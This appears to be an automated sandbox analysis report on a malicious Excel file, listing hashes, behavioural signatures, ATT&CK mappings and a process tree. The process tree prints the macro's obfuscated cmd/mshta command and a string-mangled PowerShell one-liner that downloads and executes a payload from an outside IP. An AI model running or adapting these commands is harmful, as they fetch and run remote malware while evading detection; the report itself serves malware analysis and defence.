0a20a1b82fd605aaca4441f2be6c35ce6d486d0a55de5efda00150db78b3e6d4

General

Target
997fff8a89a129cc0622cc2891d1ccea.xls
Size 141KB
Sample220120-rxexqaacf8
SHA256 0a20a1b82fd605aaca4441f2be6c35ce6d486d0a55de5efda00150db78b3e6d4
MD5 997fff8a89a129cc0622cc2891d1ccea
SHA1 ef7fad068081c863d8bf6a5231385d9acc85ab90
SHA512 f8484a45b55659e07428bc262c2388b27e4c1ab435b92ccf8c1db64bae57b60ea96d1e87fb28971e7ef1f93019e6a053bc4a863ab04ce764aa401b33b97033e7
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3508	552	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
34	2696	mshta.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1668	2696	WerFault.exe	63

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
552	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
552	EXCEL.EXE
552	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 552 wrote to memory of 2508	552	EXCEL.EXE	57
PID 552 wrote to memory of 2508	552	EXCEL.EXE	57
PID 552 wrote to memory of 3508	552	EXCEL.EXE	61
PID 552 wrote to memory of 3508	552	EXCEL.EXE	61
PID 3508 wrote to memory of 2696	3508	cmd.exe	63
PID 3508 wrote to memory of 2696	3508	cmd.exe	63

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\997fff8a89a129cc0622cc2891d1ccea.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:552
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2508
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:2696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3504
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2696 -s 1720
      4⤵
      Program crash
      PID:1668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1896

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 2696 -ip 2696
1⤵
PID:3412

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/552-130-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/552-131-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/552-132-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads